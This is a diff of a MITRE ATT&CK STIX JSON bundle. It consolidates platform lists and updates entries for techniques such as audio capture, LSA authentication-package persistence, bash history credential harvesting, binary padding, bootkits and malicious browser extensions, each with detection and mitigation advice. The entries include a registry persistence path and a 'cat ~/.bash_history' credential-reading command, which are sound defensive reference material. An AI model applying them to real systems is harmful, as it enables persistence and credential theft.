+            "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -833,32 +889,20 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
+            "x_mitre_platforms": [
+                "macOS",
+                "Windows"
+            ],
             "x_mitre_permissions_required": [
                 "User"
-            ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "MacOS",
-                "OS X"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Audio Capture Mitigation",
             "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -873,24 +917,24 @@
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                 },
-                {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
-                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         },
@@ -899,9 +943,9 @@
             "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:34.528Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Audio Capture",
-            "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, Process monitoring, File monitoring\n\nPermissions Required: User",
+            "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -927,27 +971,17 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Authentication Package Mitigation",
             "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
             "external_references": [
@@ -973,9 +1007,9 @@
             "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:43.135Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Authentication Package",
-            "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
+            "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1012,30 +1046,19 @@
                 "Windows Registry",
                 "Loaded DLLs"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated Collection Mitigation",
             "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -1076,9 +1099,9 @@
             "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:27.985Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated Collection",
-            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.",
+            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1104,21 +1127,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Permissions to access directories and files that store information of interest."
@@ -1128,8 +1139,8 @@
             "type": "course-of-action",
             "id": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated Exfiltration Mitigation",
             "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -1170,9 +1181,9 @@
             "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:29.458Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated Exfiltration",
-            "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes",
+            "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1196,29 +1207,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bash History Mitigation",
             "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\n<code>set +o history</code> and <code>set -o history</code> to start logging again;\n<code>unset HISTFILE</code> being added to a user's .bash_rc file; and\n<code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.",
             "external_references": [
@@ -1234,9 +1233,9 @@
             "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bash History",
-            "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User",
+            "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1263,21 +1262,20 @@
                 "Process monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Binary Padding Mitigation",
             "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -1318,9 +1316,9 @@
             "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:22.096Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Binary Padding",
-            "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nDefense Bypassed: Anti-virus, Signature-based detection",
+            "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.\n\nPlatforms: Linux, macOS, Windows\n\nDefense Bypassed: Anti-virus, Signature-based detection",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1342,29 +1340,17 @@
                 "Signature-based detection"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bootkit Mitigation",
             "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)",
             "external_references": [
@@ -1390,9 +1376,9 @@
             "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:54.661Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bootkit",
-            "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1426,30 +1412,128 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows"
             ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
             ]
         },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Browser Extensions Mitigation",
+            "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1176",
+                    "external_id": "T1176"
+                },
+                {
+                    "source_name": "Technospot Chrome Extensions GP",
+                    "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.",
+                    "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Browser Extensions",
+            "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control  (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may would prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "collection"
+                },
+                {
